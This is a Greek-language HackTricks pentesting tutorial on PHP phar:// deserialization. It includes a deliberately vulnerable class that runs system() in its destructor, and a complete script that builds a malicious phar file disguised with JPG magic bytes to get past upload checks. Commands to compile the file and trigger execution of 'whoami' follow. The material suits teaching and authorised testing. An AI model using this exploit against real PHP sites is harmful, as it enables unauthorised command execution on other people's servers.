hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

6.6 KiB
Raw Blame History

phar:// αποσυσκευασία

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Τα αρχεία Phar (PHP Archive) περιέχουν μεταδεδομένα σε μορφή σειριοποίησης, οπότε, όταν αναλυθούν, αυτά τα μεταδεδομένα αποσειριοποιούνται και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια αποσειριοποίησης μέσα στον κώδικα PHP.

Το καλύτερο πράγμα σχετικά με αυτό το χαρακτηριστικό είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμα και όταν χρησιμοποιούνται συναρτήσεις PHP που δεν αξιολογούν κώδικα PHP όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize().

Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε ένα PHP web να λάβει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο phar://, και μέσα στον κώδικα βρίσκετε μια κλάση παρόμοια με την παρακάτω:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

Μπορείτε να δημιουργήσετε ένα αρχείο phar που όταν φορτωθεί θα καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές με κάτι σαν:

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

Σημειώστε πως τα μαγικά bytes του JPG (\xff\xd8\xff) προστίθενται στην αρχή του αρχείου phar για να αποφευχθούν πιθανοί περιορισμοί αποστολής αρχείων.
Συντάξτε το αρχείο test.phar με:

php --define phar.readonly=0 create_phar.php

Και εκτελέστε την εντολή whoami καταχρώμενοι το ευάλωτο κώδικα με:

php vuln.php

Αναφορές

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

Συμβουλή για bug bounty: Εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς! Γίνετε μέλος στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε αμοιβές έως και $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: